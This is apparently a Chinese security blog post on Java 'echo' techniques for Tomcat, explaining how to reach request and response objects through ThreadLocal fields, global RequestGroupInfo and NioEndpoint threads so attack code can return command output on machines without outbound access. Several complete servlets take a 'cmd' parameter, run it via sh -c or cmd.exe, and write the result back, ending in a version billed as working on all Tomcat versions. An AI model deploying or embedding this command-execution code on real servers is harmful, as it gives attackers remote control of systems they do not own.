java回显技术

java回显技术

所谓回显,其实就是获取命令执行的结果,这种技术常用于目标机器不出网,无法反弹shell的情况。对于Java的中间件来讲,其关键就是获取request和response对象。

通过JSP文件来注入的内存马,由于JSP中内置了一些关键对象,所以我们能够很容易地获得Request和Response对象,并能通过他们来获取目标JVM的上下文Context。那如果我们要通过反序列化漏洞来注入内存马,又如何获取到目标JVM的request和response对象呢?

ThreadLocal Response回显

Kingkk 师傅提出的 “Tomcat中一种半通用回显方法”。原文链接:Tomcat中一种半通用回显方法 - 先知社区 (aliyun.com)

分析

首先,我们应该关注的是,所需的 request 对象必须是与当前线程的 ThreadLocal 相关,而不是一个全局的变量。这样才能确保我们能够获取当前线程的信息。最终,在 org.apache.catalina.core.ApplicationFilterChain 类中,我们会发现两个静态属性:lastServicedRequestlastServicedResponse。由于是静态变量,因此,访问这些属性时,无需创建实例。

image-20240730174520346

ApplicationFilterChain#internalDoFilter中,Tomcat会有一段将request对象和response对象存储到这两个变量中的操作。

image-20240730174659073

Tomcat在处理我们的Servlet以及SpringBoot处理Controller逻辑之前,都会来到ApplicationFilterChain#internalDoFilter中,只要我们让 ApplicationDispatcher.WRAP_SAME_OBJECT的值为true,就可以将request和response存储到这两个变量中。

虽然此时的ApplicationDispatcher.WRAP_SAME_OBJECTfalse,但是我们后续可以通过反射修改。

可以总结思路如下

  1. 反射修改ApplicationDispatcher.WRAP_SAME_OBJECT的值,通过ThreadLocal#set方法将request和response对象存储到变量中
  2. 初始化lastServicedRequestlastServicedResponse两个变量,默认为null
  3. 通过ThreadLocal#get方法将request和response对象从*lastServicedRequestlastServicedResponse*中取出

编写Demo

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
package cmisl;

import org.apache.catalina.core.ApplicationFilterChain;

import javax.servlet.ServletRequest;
import javax.servlet.annotation.WebServlet;
import javax.servlet.http.HttpServlet;
import javax.servlet.http.HttpServletRequest;
import javax.servlet.http.HttpServletResponse;
import java.lang.reflect.Field;
import java.lang.reflect.Modifier;

@WebServlet("/echo")
public class Tomcat_Echo extends HttpServlet {
@Override
protected void doGet(HttpServletRequest req, HttpServletResponse resp) {
try {
//反射获取所需属性
Field WRAP_SAME_OBJECT_FIELD = Class.forName("org.apache.catalina.core.ApplicationDispatcher").getDeclaredField("WRAP_SAME_OBJECT");
Field lastServicedRequestField = ApplicationFilterChain.class.getDeclaredField("lastServicedRequest");
Field lastServicedResponseField = ApplicationFilterChain.class.getDeclaredField("lastServicedResponse");

//使用modifiersField反射修改final型变量
java.lang.reflect.Field modifiersField = Field.class.getDeclaredField("modifiers");
modifiersField.setAccessible(true);
modifiersField.setInt(WRAP_SAME_OBJECT_FIELD, WRAP_SAME_OBJECT_FIELD.getModifiers() & ~Modifier.FINAL);
modifiersField.setInt(lastServicedRequestField, lastServicedRequestField.getModifiers() & ~Modifier.FINAL);
modifiersField.setInt(lastServicedResponseField, lastServicedResponseField.getModifiers() & ~Modifier.FINAL);
WRAP_SAME_OBJECT_FIELD.setAccessible(true);
lastServicedRequestField.setAccessible(true);
lastServicedResponseField.setAccessible(true);

//将变量WRAP_SAME_OBJECT_FIELD设置为true,并初始化lastServicedRequest和lastServicedResponse变量
if (!WRAP_SAME_OBJECT_FIELD.getBoolean(null)) {
WRAP_SAME_OBJECT_FIELD.setBoolean(null, true);
}

if (lastServicedRequestField.get(null) == null) {
lastServicedRequestField.set(null, new ThreadLocal<>());
}

if (lastServicedResponseField.get(null) == null) {
lastServicedResponseField.set(null, new ThreadLocal<>());
}

//获取request变量
if (lastServicedRequestField.get(null) != null) {
ThreadLocal threadLocal = (ThreadLocal) lastServicedRequestField.get(null);
ServletRequest servletRequest = (ServletRequest) threadLocal.get();
System.out.println(servletRequest);
System.out.println((HttpServletRequest) servletRequest == req);

}
} catch (Exception e) {

}
}
}

我们这里断点需要在第二次请求的时候断下来。因为第一次ApplicationDispatcher.WRAP_SAME_OBJECT为false,无法进入ThreadLocal#set方法将request和response对象存储到变量中。所以需要第一次请求反射将判断修改为true。第二次才能从ThreadLocal中获取request和response。

命令执行

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
package cmisl;

import org.apache.catalina.core.ApplicationFilterChain;

import javax.servlet.Servlet;
import javax.servlet.ServletRequest;
import javax.servlet.ServletResponse;
import javax.servlet.annotation.WebServlet;
import javax.servlet.http.HttpServlet;
import javax.servlet.http.HttpServletRequest;
import javax.servlet.http.HttpServletResponse;
import java.io.InputStream;
import java.lang.reflect.Field;
import java.lang.reflect.Modifier;
import java.util.Scanner;

@WebServlet("/exec")
public class Tomcat_Exec extends HttpServlet {
@Override
protected void doGet(HttpServletRequest req, HttpServletResponse resp) {
try {
//反射获取所需属性
Field WRAP_SAME_OBJECT_FIELD = Class.forName("org.apache.catalina.core.ApplicationDispatcher").getDeclaredField("WRAP_SAME_OBJECT");
Field lastServicedRequestField = ApplicationFilterChain.class.getDeclaredField("lastServicedRequest");
Field lastServicedResponseField = ApplicationFilterChain.class.getDeclaredField("lastServicedResponse");

//使用modifiersField反射修改final型变量
java.lang.reflect.Field modifiersField = Field.class.getDeclaredField("modifiers");
modifiersField.setAccessible(true);
modifiersField.setInt(WRAP_SAME_OBJECT_FIELD, WRAP_SAME_OBJECT_FIELD.getModifiers() & ~Modifier.FINAL);
modifiersField.setInt(lastServicedRequestField, lastServicedRequestField.getModifiers() & ~Modifier.FINAL);
modifiersField.setInt(lastServicedResponseField, lastServicedResponseField.getModifiers() & ~Modifier.FINAL);
WRAP_SAME_OBJECT_FIELD.setAccessible(true);
lastServicedRequestField.setAccessible(true);
lastServicedResponseField.setAccessible(true);

//将变量WRAP_SAME_OBJECT_FIELD设置为true,并初始化lastServicedRequest和lastServicedResponse变量
if (!WRAP_SAME_OBJECT_FIELD.getBoolean(null)) {
WRAP_SAME_OBJECT_FIELD.setBoolean(null, true);
}

if (lastServicedRequestField.get(null) == null) {
lastServicedRequestField.set(null, new ThreadLocal<>());
}

if (lastServicedResponseField.get(null) == null) {
lastServicedResponseField.set(null, new ThreadLocal<>());
}

ServletRequest servletRequest=null;
ServletResponse servletResponse=null;

//获取reques和responset变量
if (lastServicedRequestField.get(null) != null) {
ThreadLocal threadLocal = (ThreadLocal) lastServicedRequestField.get(null);
servletRequest = (ServletRequest) threadLocal.get();
}

//获取request变量
if (lastServicedResponseField.get(null) != null) {
ThreadLocal threadLocal = (ThreadLocal) lastServicedResponseField.get(null);
servletResponse = (ServletResponse) threadLocal.get();
}


String cmd = servletRequest.getParameter("cmd");
servletResponse.setCharacterEncoding("GBK");
if(cmd!=null) {
// 判断操作系统类型
boolean isLinux = true;
String osTyp = System.getProperty("os.name");
if (osTyp != null && osTyp.toLowerCase().contains("win")){
isLinux = false;
}
// 根据操作系统类型设置命令执行方式
String[] commands = isLinux ? new String[]{"sh","-c",cmd}:new String[]{"cmd.exe","/c",cmd};
// 执行命令并获取输入流
InputStream inputStream = Runtime.getRuntime().exec(commands).getInputStream();
Scanner s = new Scanner(inputStream, "GBK").useDelimiter("\\A");
String output = s.hasNext() ? s.next() : "";
// 将命令执行结果写入响应
servletResponse.getWriter().write(output);
servletResponse.getWriter().flush();
servletResponse.getWriter().close();

} }catch (Exception e) {

}
}
}

image-20240730182034569

回显报错(getWriter重复使用报错)

别的师傅那看到的,自己并未遇到。如果遇到可以参考原文Java 回显技术 | Drunkbaby’s Blog (drun1baby.top)

在使用response的getWriter函数时,usingWriter 变量就会被设置为true。如果在一次请求中usingWriter变为了true那么在这次请求之后的结果输出时就会报错

报错内容如下,getWriter已经被调用过一次

1
>java.lang.IllegalStateException: getWriter() has already been called for this response

这时候有两种解决办法:

  • 在调用完一次getWriter反射修改usingWriter的值为false
  • 使用getOutputStream代替

局限性

如果漏洞在ApplicationFilterChain获取回显Response代码之前,那么就无法获取到Tomcat Response进行回显。如Shiro RememberMe反序列化漏洞,因为Shiro的RememberMe功能实际上就是一个自定义的Filter。我们知道在ApplicationFilterChain#internalDoFilter方法中,doFilter方法实际上是在我们获取response之前的。触发Shiro漏洞漏洞的时候,我们还未能将request和response储存到ThreadLocal中。因此在Shiro漏洞环境下我们无法通过这种方式获得回显。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
if (pos < n) {
ApplicationFilterConfig filterConfig = filters[pos++];
try {
Filter filter = filterConfig.getFilter();
...
filter.doFilter(request, response, this);//Shiro漏洞触发点
} catch (...)
...
}
}
try {
if (ApplicationDispatcher.WRAP_SAME_OBJECT) {
lastServicedRequest.set(request);
lastServicedResponse.set(response);//Tomcat回显关键点
}
if (...){
...
} else {
servlet.service(request, response);//servlet调用点
}
} catch (...) {
...
} finally {
...
}

通过全局存储Response回显

Litch1师傅的一种思路。原文链接:基于全局储存的新思路 | Tomcat的一种通用回显方法研究 (qq.com)

在Java Web开发中,Servlet容器是核心组件,许多框架在其基础上做了不同程度的封装。这使得因为不同框架或不同版本的实现差异,很难找到一种通用的方法来获取回显信息。例如,上文使用 ThreadLocal 类在 Shiro 框架中获取回显的方法可能无效。

因此,我们或许可以从另一个角度入手,尝试在 Tomcat 中寻找全局存储的 RequestResponse 对象。为了实现回显功能,这些 RequestResponse 对象必须属于当前执行的线程。因此,关键在于找到当前代码运行的上下文与Tomcat的运行上下文之间的关联。

分析

我们可以看一下调用栈,追踪response,我们可以找到org.apache.catalina.connector.CoyoteAdapterservice方法。当前response的hash值和我们在doGet方法中HttpServletResponse的response一样。

image-20240731001151097

而这个response来自于org.apache.coyote.http11.Http11Processorthis.response,经过一些setter和getter方法调整得来的。而org.apache.coyote.http11.Http11Processorthis.response其实并非是他本身的,而是来自org.apache.coyote.AbstractProcessorthis.response

image-20240731001918781

调用堆栈如下。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
doGet:22, Tomcat_Exec (cmisl)
service:529, HttpServlet (javax.servlet.http)
service:623, HttpServlet (javax.servlet.http)
internalDoFilter:209, ApplicationFilterChain (org.apache.catalina.core)
doFilter:153, ApplicationFilterChain (org.apache.catalina.core)
doFilter:51, WsFilter (org.apache.tomcat.websocket.server)
internalDoFilter:178, ApplicationFilterChain (org.apache.catalina.core)
doFilter:153, ApplicationFilterChain (org.apache.catalina.core)
invoke:168, StandardWrapperValve (org.apache.catalina.core)
invoke:90, StandardContextValve (org.apache.catalina.core)
invoke:481, AuthenticatorBase (org.apache.catalina.authenticator)
invoke:130, StandardHostValve (org.apache.catalina.core)
invoke:93, ErrorReportValve (org.apache.catalina.valves)
invoke:670, AbstractAccessLogValve (org.apache.catalina.valves)
invoke:74, StandardEngineValve (org.apache.catalina.core)
service:342, CoyoteAdapter (org.apache.catalina.connector)
service:390, Http11Processor (org.apache.coyote.http11)
process:63, AbstractProcessorLight (org.apache.coyote)
process:928, AbstractProtocol$ConnectionHandler (org.apache.coyote)
doRun:1794, NioEndpoint$SocketProcessor (org.apache.tomcat.util.net)
run:52, SocketProcessorBase (org.apache.tomcat.util.net)
runWorker:1191, ThreadPoolExecutor (org.apache.tomcat.util.threads)
run:659, ThreadPoolExecutor$Worker (org.apache.tomcat.util.threads)
run:61, TaskThread$WrappingRunnable (org.apache.tomcat.util.threads)
run:750, Thread (java.lang)

这时候已经有了request,response,接下来往前寻找有没有哪里存储了这个Processor?或者是哪里对于Processor的Request等信息进行了存储?可以发现在之前的调用链中的AbstractProtocol的内部类ConnectionHandler中在处理的时候就将当前的Processor(即后面的Http11Processor)的信息通过register方法存储在了global中。

image-20240731005138154

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
protected void register(Processor processor) {
if (this.getProtocol().getDomain() != null) {
synchronized(this) {
try {
long count = this.registerCount.incrementAndGet();
//获取当前处理器的请求信息 RequestInfo 对象 rp。
RequestInfo rp = processor.getRequest().getRequestProcessor();
//将全局处理器设置到请求信息中。
rp.setGlobalProcessor(this.global);
......
}
......
} catch (Exception var8) {
......
}
}
}
}

详细来说,就是获取Http11Processor的Request的RequestInfo变量,而RequestInfo变量里又有Request本身,获取RequestInfo之后rp.setGlobalProcessor(this.global)方法里把这个RequestInfo添加到global这个变量里面。

那么我们获取了global就相当于获取了RequestInfo,通过RequestInfo又可以获取包含它的Request。那么Response又怎么获取呢?其实Response可以从Request中获取,因为在我们Http11Processor初始化的时候,就会在调用父类AbstractProcessor初始化函数过程中,把request设置了参数response。

image-20240731011119226

至此我们的调用链如下

1
AbstractProtocol$ConnectoinHandler#process()------->this.global-------->RequestInfo------->Request-------->Response

现在我们的工作就是获取AbstractProtocol类或者继承AbstractProtocol的类,继续看调用链。在CoyoteAdapter类中,存在一个connector属性。我们来看Connector类的定义,存在和AbstractProtocol相关的protocolHandler属性,该属性的值为一个Http11NioProtocol对象,并且该类继承了AbstractProtocol类

image-20240731013248652

此时我们的调用链变成如下

1
Connector----->Http11NioProtocol----->AbstractProtocol$ConnectoinHandler#process()------->this.global-------->RequestInfo------->Request-------->Response

下面就是获取Connector了,Tomcat在启动时会通过StandardService创建Connector,并且调用addaddConnector方法存放在connectors中

image-20240731013616522

image-20240731013844294

那么现在的获取链变成了

1
StandardService --> connectors --> connector --> protocolHandler --> handler --> AbstractProtocol$ConnectoinHandler --> global --> RequestInfo --> req --> response

connectors同样为非静态属性,那么我们就需要获取在Tomcat中已经存在的StandardService对象,而不是新创建的对象。

如何获取StandardService

Tomcat的类加载机制并不是传统的双亲委派机制,因为传统的双亲委派机制并不适用于多个Web App的情况。

假设WebApp A依赖了common-collection 3.1,而WebApp B依赖了common-collection 3.2 这样在加载的时候由于全限定名相同,不能同时加载,所以必须对各个webapp进行隔离,如果使用双亲委派机制,那么在加载一个类的时候会先去他的父加载器加载,这样就无法实现隔离,tomcat隔离的实现方式是每个WebApp用一个独有的ClassLoader实例来优先处理加载,并不会传递给父加载器。这个定制的ClassLoader就是WebappClassLoader。

那么如何破坏Java原有的类加载机制呢?如果上层的ClassLoader需要调用下层的ClassLoader怎么办呢?就需要使用Thread Context ClassLoader,线程上下文类加载器。Thread类中有getContextClassLoader()和setContextClassLoader(ClassLoader cl)方法用来获取和设置上下文类加载器,如果没有setContextClassLoader(ClassLoader cl)方法通过设置类加载器,那么线程将继承父线程的上下文类加载器,如果在应用程序的全局范围内都没有设置的话,那么这个上下文类加载器默认就是应用程序类加载器。对于Tomcat来说ContextClassLoader被设置为WebAppClassLoader(在一些框架中可能是继承了public abstract WebappClassLoaderBase的其他Loader)。

说了那么多,其实WebappClassLoaderBase就是我们寻找的Thread和Tomcat 运行上下文的联系之一。

我们debug看看Thread.currentThread().getContextClassLoader()里面都有啥东西,这里只要稍微搜寻一下就会发现有很多Tomcat有关的运行信息。我们只要寻找我们上文提到的需要的Service就可以了。

image-20240731015933265

最后的路径:

WebappClassLoaderBase —> ApplicationContext(getResources().getContext()) —> StandardService—>Connector—>AbstractProtocol$ConnectoinHandler—>RequestGroupInfo(global)—>RequestInfo——->Request——–>Response。

命令执行

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
package cmisl;

import org.apache.catalina.connector.Connector;
import org.apache.catalina.core.ApplicationContext;
import org.apache.catalina.core.StandardContext;
import org.apache.catalina.core.StandardService;
import org.apache.catalina.loader.WebappClassLoaderBase;
import org.apache.coyote.*;
import org.apache.tomcat.util.net.AbstractEndpoint;

import javax.servlet.annotation.WebServlet;
import javax.servlet.http.HttpServlet;
import javax.servlet.http.HttpServletRequest;
import javax.servlet.http.HttpServletResponse;
import java.io.IOException;
import java.io.InputStream;
import java.lang.reflect.Field;
import java.util.List;
import java.util.Scanner;

@WebServlet("/echo") // 定义Servlet的访问路径
public class Tomcat_Echo extends HttpServlet {
@Override
protected void doGet(HttpServletRequest req, HttpServletResponse resp) {
try {
// 获取当前线程的上下文类加载器并转换为WebappClassLoaderBase
WebappClassLoaderBase webappClassLoaderBase = (WebappClassLoaderBase) Thread.currentThread().getContextClassLoader();
// 获取当前Web应用的标准上下文
StandardContext standardContext = (StandardContext) webappClassLoaderBase.getResources().getContext();

// 通过反射获取StandardContext中的ApplicationContext
Field ApplicationContext_Field = Class.forName("org.apache.catalina.core.StandardContext").getDeclaredField("context");
ApplicationContext_Field.setAccessible(true);
ApplicationContext applicationContext = (ApplicationContext) ApplicationContext_Field.get(standardContext);

// 通过反射获取ApplicationContext中的StandardService
Field StandardService_Field = Class.forName("org.apache.catalina.core.ApplicationContext").getDeclaredField("service");
StandardService_Field.setAccessible(true);
StandardService standardService = (StandardService) StandardService_Field.get(applicationContext);

// 通过反射获取StandardService中的连接器数组
Field connectors_Field = Class.forName("org.apache.catalina.core.StandardService").getDeclaredField("connectors");
connectors_Field.setAccessible(true);
Connector[] connectors = (Connector[]) connectors_Field.get(standardService);
Connector connector = connectors[0]; // 选择第一个连接器

// 获取连接器的协议处理器
ProtocolHandler protocolHandler = connector.getProtocolHandler();
// 通过反射获取协议处理器中的处理器
Field handler_Field = Class.forName("org.apache.coyote.AbstractProtocol").getDeclaredField("handler");
handler_Field.setAccessible(true);
AbstractEndpoint.Handler handler = (AbstractEndpoint.Handler) handler_Field.get(protocolHandler);

// 获取全局的请求组信息
RequestGroupInfo global = (RequestGroupInfo) handler.getGlobal();
// 通过反射获取请求组信息中的请求处理器列表
Field processors_Field = Class.forName("org.apache.coyote.RequestGroupInfo").getDeclaredField("processors");
processors_Field.setAccessible(true);
List<RequestInfo> requestInfos = (List<RequestInfo>) processors_Field.get(global);

// 遍历请求处理器列表
for (RequestInfo requestInfo : requestInfos) {
// 通过反射获取请求信息中的请求对象
Field req_Field = Class.forName("org.apache.coyote.RequestInfo").getDeclaredField("req");
req_Field.setAccessible(true);
org.apache.coyote.Request request = (org.apache.coyote.Request) req_Field.get(requestInfo);

// 尝试获取当前请求的request和response
org.apache.catalina.connector.Request http_request = (org.apache.catalina.connector.Request) request.getNote(1);
org.apache.catalina.connector.Response http_response = http_request.getResponse();

// 获取请求参数"cmd"
String cmd = http_request.getParameter("cmd");
http_response.setCharacterEncoding("GBK");
if (cmd != null) {
// 判断操作系统类型
boolean isLinux = true;
String osTyp = System.getProperty("os.name");
if (osTyp != null && osTyp.toLowerCase().contains("win")) {
isLinux = false;
}
// 根据操作系统类型设置命令执行方式
String[] commands = isLinux ? new String[]{"sh", "-c", cmd} : new String[]{"cmd.exe", "/c", cmd};
// 执行命令并获取输入流
InputStream inputStream = Runtime.getRuntime().exec(commands).getInputStream();
Scanner s = new Scanner(inputStream, "GBK").useDelimiter("\\A");
String output = s.hasNext() ? s.next() : "";
// 将命令执行结果写入响应
http_response.getWriter().write(output);
http_response.getWriter().flush();
http_response.getWriter().close();

}
}
} catch (NoSuchFieldException e) {
throw new RuntimeException(e);
} catch (ClassNotFoundException e) {
throw new RuntimeException(e);
} catch (IllegalAccessException e) {
throw new RuntimeException(e);
} catch (IOException e) {
throw new RuntimeException(e);
}
}
}

Tomcat版本问题

刚才在一开始获取Tomcat ClassLoader context提到这种方式只适用于Tomcat 8和9的低版本中,原因如下

可以看到高版本WebappClassLoaderBase#getResources方法,返回null。自然无法获取StandardService了。

高版本Tomcat 8和9

image-20240731022101343

低版本Tomcat 8和9

image-20240731022626488

通过NioEndpoint通杀Tomcat8和9的高低版本。具体参考Java 回显技术 | Drunkbaby’s Blog (drun1baby.top)

言简意赅就是我们需要的AbstractProtocol$ConnectoinHandler属性的Handler也存在于NioEndpoint中。如果能获取到NioEn

image-20240731043802388

通过Acceptor获取NioEndpoint

遍历线程,获取线程中的target属性,如果该target是Acceptor类的话则其endpoint属性就是NioEndpoint 对象。

1
Thread.currentThread().getThreadGroup() --> theads[] --> thread --> target --> NioEndpoint$Poller --> NioEndpoint --> AbstractProtocol$ConnectoinHandler --> global --> RequestInfo --> req --> response

通过poller获取NioEndpoint

遍历线程,获取线程中的target属性,如果target属性是 NioEndpoint$Poller 类的话,通过获取其父类 NioEndpoint,进而获取到 AbstractProtocolConnectoinHandler。

1
Thread.currentThread().getThreadGroup() --> theads[] --> thread --> target --> NioEndpoint$Poller --> NioEndpoint --> AbstractProtocol$ConnectoinHandler --> global --> RequestInfo --> req --> response

通用版

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
package cmisl;

import org.apache.catalina.connector.Response;
import org.apache.catalina.connector.ResponseFacade;
import org.apache.coyote.RequestGroupInfo;
import org.apache.coyote.RequestInfo;
import org.apache.tomcat.util.net.AbstractEndpoint;

import javax.servlet.ServletException;
import javax.servlet.annotation.WebServlet;
import javax.servlet.http.HttpServlet;
import javax.servlet.http.HttpServletRequest;
import javax.servlet.http.HttpServletResponse;
import java.io.IOException;
import java.io.InputStream;
import java.lang.reflect.Field;

import java.util.Scanner;

// 全 Tomcat 版本通用

@WebServlet("/AllTomcat")
public class AllTomcatVersionAttack extends HttpServlet {
protected void doPost(HttpServletRequest request, HttpServletResponse response) throws ServletException, IOException {

try {
// 获取thread数组
ThreadGroup threadGroup = Thread.currentThread().getThreadGroup();
Field threadsField = ThreadGroup.class.getDeclaredField("threads");
threadsField.setAccessible(true);
Thread[] threads = (Thread[])threadsField.get(threadGroup);

for(Thread thread:threads) {
Field targetField = Thread.class.getDeclaredField("target");
targetField.setAccessible(true);
Object target = targetField.get(thread);
if( target != null && target.getClass() == org.apache.tomcat.util.net.Acceptor.class ) {
Field endpointField = Class.forName("org.apache.tomcat.util.net.Acceptor").getDeclaredField("endpoint");
endpointField.setAccessible(true);
Object endpoint = endpointField.get(target);
Field handlerField = Class.forName("org.apache.tomcat.util.net.AbstractEndpoint").getDeclaredField("handler");
handlerField.setAccessible(true);
Object handler = handlerField.get(endpoint);

// 获取内部类ConnectionHandler的global
Field globalField = Class.forName("org.apache.coyote.AbstractProtocol$ConnectionHandler").getDeclaredField("global");
globalField.setAccessible(true);
RequestGroupInfo global = (RequestGroupInfo) globalField.get(handler);

// 获取RequestGroupInfo的processors
Field processors = Class.forName("org.apache.coyote.RequestGroupInfo").getDeclaredField("processors");
processors.setAccessible(true);
java.util.List<RequestInfo> RequestInfolist = (java.util.List<RequestInfo>) processors.get(global);


// 获取Response,并做输出处理
Field reqField = Class.forName("org.apache.coyote.RequestInfo").getDeclaredField("req");
reqField.setAccessible(true);
for (RequestInfo requestInfo : RequestInfolist) {//遍历
org.apache.coyote.Request coyoteReq = (org.apache.coyote.Request) reqField.get(requestInfo);//获取request
org.apache.catalina.connector.Request connectorRequest = (org.apache.catalina.connector.Request) coyoteReq.getNote(1);//获取catalina.connector.Request类型的Request
org.apache.catalina.connector.Response connectorResponse = connectorRequest.getResponse();

// 从connectorRequest 中获取参数并执行
String cmd = connectorRequest.getParameter("cmd");
connectorResponse.setCharacterEncoding("GBK");
// 方法一
// String res = new Scanner(Runtime.getRuntime().exec(cmd).getInputStream()).useDelimiter("\\A").next();
// connectorResponse.getOutputStream().write(res.getBytes(StandardCharsets.UTF_8));
// connectorResponse.flushBuffer();

// 方法二
if (cmd != null) {
// 判断操作系统类型
boolean isLinux = true;
String osTyp = System.getProperty("os.name");
if (osTyp != null && osTyp.toLowerCase().contains("win")) {
isLinux = false;
}
// 根据操作系统类型设置命令执行方式
String[] commands = isLinux ? new String[]{"sh", "-c", cmd} : new String[]{"cmd.exe", "/c", cmd};
// 执行命令并获取输入流
InputStream inputStream = Runtime.getRuntime().exec(commands).getInputStream();
Scanner s = new Scanner(inputStream, "GBK").useDelimiter("\\A");
String output = s.hasNext() ? s.next() : "";
// 将命令执行结果写入响应
connectorResponse.getWriter().write(output);
connectorResponse.getWriter().flush();
connectorResponse.getWriter().close();

}
}
}
}

} catch (Exception e) {
e.printStackTrace();
}

}

protected void doGet(HttpServletRequest request, HttpServletResponse response) throws ServletException, IOException {
this.doPost(request, response);
}
}

Ref

Tomcat中一种半通用回显方法 - 先知社区 (aliyun.com)

Java 回显技术 | Drunkbaby’s Blog (drun1baby.top)

Java安全学习——内存马 - 枫のBlog (goodapple.top)

基于全局储存的新思路 | Tomcat的一种通用回显方法研究 (qq.com)


java回显技术
http://example.com/2024/07/30/java回显技术/
作者
cmisl
发布于
2024年7月30日
许可协议